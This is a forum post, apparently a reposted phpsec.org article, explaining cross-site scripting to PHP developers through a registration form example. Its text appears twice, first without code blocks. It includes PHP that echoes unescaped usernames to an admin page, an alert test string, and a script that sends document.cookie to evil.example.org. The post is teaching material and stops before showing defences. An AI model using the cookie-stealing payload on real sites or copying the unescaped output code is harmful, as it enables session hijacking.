Alexej Kubarev
New member
Security is a nebulous topic. Web applications are often described as being secure or insecure, and this yields dangerous misconceptions and confusion. Just how secure is a secure Web application? The inference is that such Web applications are 100% secure and invulnerable to any type of attack. Therefore, we can safely consider every Web application to be insecure.
Now that we have established that all Web applications are insecure, I will explain how to make your Web applications more secure by describing two contrasting types of attacks, Cross-Site Scripting (XSS) and Cross-Site Request Forgeries (CSRF). My hope is that you will not only learn some specific strategies for protecting against these types of attacks, but more importantly, that you will also gain crucial insight that can help you more clearly understand Web application security in general.
Cross-Site Scripting
As a PHP professional, you have most likely heard of Cross-Site Scripting (XSS). In fact, you may have already taken steps to protect your own Web applications against XSS attacks. The effectiveness of such preventive measures relies upon whether these measures address the problem or merely a symptom, and of course how well you understand the problem. It is a common tendency to only address a specific exploit of a vulnerability in much the same way that we might resolve a bug using a specific test case. With this strategy, a Web developer's effort is less effective, and therefore we want to address the root of the problem whenever possible.
The fundamental error that yields XSS vulnerabilities is trusting foreign data. A general recommendation among Web developers is to never trust client data, but protecting against XSS requires even more mistrust, as any foreign data can be dangerous. What is foreign data exactly? Simply put, foreign data is anything that your Web server sends to the client that originates from somewhere else. Some examples of foreign data include posts on a Web forum, email displayed by a Web mail client, a banner advertisement, stock quotes provided by an XML feed over HTTP, and of course client data. For any interesting Web application, there is going to be scores of foreign data, and these are the types of applications that require the most attention. Of course, the danger is not specifically that you trust the foreign data, but rather that you assume it is safe and display it to your users without proper validation. You are trusted by your users, and XSS attacks exploit that trust.
To understand why displaying foreign data can be dangerous, consider a simple registration system where users provide their preferred username and email address, and their registration information is emailed to them once their account is created. The HTML form that collects this information might be as follows:
Of course, more important than this form is the script that receives it. If the data being submitted in the form is not properly validated, malicious users can insert a dangerous script or worse, and your only defense is the limit of their creativity. Consider that the registration data is stored in a database and that the SQL statement used to store this data is generated as follows:
What should stand out in this SQL statement is the use of the $_POST array in its construction. The calls to addslashes() are only necessary to ensure that the SQL statement is not mangled by the data itself (it is assumed that the database being used escapes quotes with a backslash; modify this example as necessary, preferably with an escaping function native to your database like mysql_escape_string()). Data in $_POST comes from the client, and this code demonstrates a blind trust of this data. With legitimate users, the dangers of this approach will remain hidden, and this is exactly how many Web application vulnerabilities are born. Consider the following username:
While we can easily determine that this is not a valid username, the previous example demonstrates how the code that we write might not be so wise. Without proper validation of the data being stored, anything can end up in the database. Of course, the danger in the case of XSS is when this data is displayed to other users.
Let us assume that this registration system has a corresponding administrative application that is only accessible from the local network by authorized administrators. It is easy to assume that an application inaccessible from the Internet is safe, and less effort might be invested in the security of such an application. Consider the code in Listing 1 that displays a list of registered users to authorized administrators:
"Listing 1"
If the data in the database is not validated prior to storage, an administrator might be subject to an XSS attack by using this application.
This risk is even clearer if you consider a more malicious client-side script such as the following:
If this script is displayed to an administrator, the administrator's cookies that are associated with the current application's domain will be sent to evil.example.org for possible collection. In this example, the remote script steal_cookies.php can access these cookies via $_GET['cookies']. Once captured, these cookies may be used to launch impersonation attacks, obtain sensitive data, and so forth. //phpsec.org
Now that we have established that all Web applications are insecure, I will explain how to make your Web applications more secure by describing two contrasting types of attacks, Cross-Site Scripting (XSS) and Cross-Site Request Forgeries (CSRF). My hope is that you will not only learn some specific strategies for protecting against these types of attacks, but more importantly, that you will also gain crucial insight that can help you more clearly understand Web application security in general.
Cross-Site Scripting
As a PHP professional, you have most likely heard of Cross-Site Scripting (XSS). In fact, you may have already taken steps to protect your own Web applications against XSS attacks. The effectiveness of such preventive measures relies upon whether these measures address the problem or merely a symptom, and of course how well you understand the problem. It is a common tendency to only address a specific exploit of a vulnerability in much the same way that we might resolve a bug using a specific test case. With this strategy, a Web developer's effort is less effective, and therefore we want to address the root of the problem whenever possible.
The fundamental error that yields XSS vulnerabilities is trusting foreign data. A general recommendation among Web developers is to never trust client data, but protecting against XSS requires even more mistrust, as any foreign data can be dangerous. What is foreign data exactly? Simply put, foreign data is anything that your Web server sends to the client that originates from somewhere else. Some examples of foreign data include posts on a Web forum, email displayed by a Web mail client, a banner advertisement, stock quotes provided by an XML feed over HTTP, and of course client data. For any interesting Web application, there is going to be scores of foreign data, and these are the types of applications that require the most attention. Of course, the danger is not specifically that you trust the foreign data, but rather that you assume it is safe and display it to your users without proper validation. You are trusted by your users, and XSS attacks exploit that trust.
To understand why displaying foreign data can be dangerous, consider a simple registration system where users provide their preferred username and email address, and their registration information is emailed to them once their account is created. The HTML form that collects this information might be as follows:
Code:
<form action="/register.php" method="post">
<p>Username: <input type="text" name="reg_username" /></p>
<p>Email: <input type="text" name="reg_email" /></p>
<p><input type="submit" value="Register" /></p>
</form>
Of course, more important than this form is the script that receives it. If the data being submitted in the form is not properly validated, malicious users can insert a dangerous script or worse, and your only defense is the limit of their creativity. Consider that the registration data is stored in a database and that the SQL statement used to store this data is generated as follows:
Code:
<?php
if (!get_magic_quotes_gpc())
{
$_POST['reg_username'] = addslashes($_POST['reg_username']);
$_POST['reg_email'] = addslashes($_POST['reg_email']);
}
$sql = "insert into users(username, email) values('{$_POST['reg_username']}', '{$_POST['reg_email']}')";
?>
What should stand out in this SQL statement is the use of the $_POST array in its construction. The calls to addslashes() are only necessary to ensure that the SQL statement is not mangled by the data itself (it is assumed that the database being used escapes quotes with a backslash; modify this example as necessary, preferably with an escaping function native to your database like mysql_escape_string()). Data in $_POST comes from the client, and this code demonstrates a blind trust of this data. With legitimate users, the dangers of this approach will remain hidden, and this is exactly how many Web application vulnerabilities are born. Consider the following username:
Code:
<script>alert('Oh No!');</script>
While we can easily determine that this is not a valid username, the previous example demonstrates how the code that we write might not be so wise. Without proper validation of the data being stored, anything can end up in the database. Of course, the danger in the case of XSS is when this data is displayed to other users.
Let us assume that this registration system has a corresponding administrative application that is only accessible from the local network by authorized administrators. It is easy to assume that an application inaccessible from the Internet is safe, and less effort might be invested in the security of such an application. Consider the code in Listing 1 that displays a list of registered users to authorized administrators:
"Listing 1"
Code:
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<?
if ($_SESSION['admin_ind'])
{
$sql = 'select username, email from users';
$result = mysql_query($sql);
while ($curr_user = mysql_fetch_assoc($result))
{
echo "tn";
echo "tt<td>{$curr_user['username']}</td>n";
echo "tt<td>{$curr_user['email']}</td>n";
echo "t</tr>n";
}
}
?>
</table>
This risk is even clearer if you consider a more malicious client-side script such as the following:
Code:
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
If this script is displayed to an administrator, the administrator's cookies that are associated with the current application's domain will be sent to evil.example.org for possible collection. In this example, the remote script steal_cookies.php can access these cookies via $_GET['cookies']. Once captured, these cookies may be used to launch impersonation attacks, obtain sensitive data, and so forth. //phpsec.org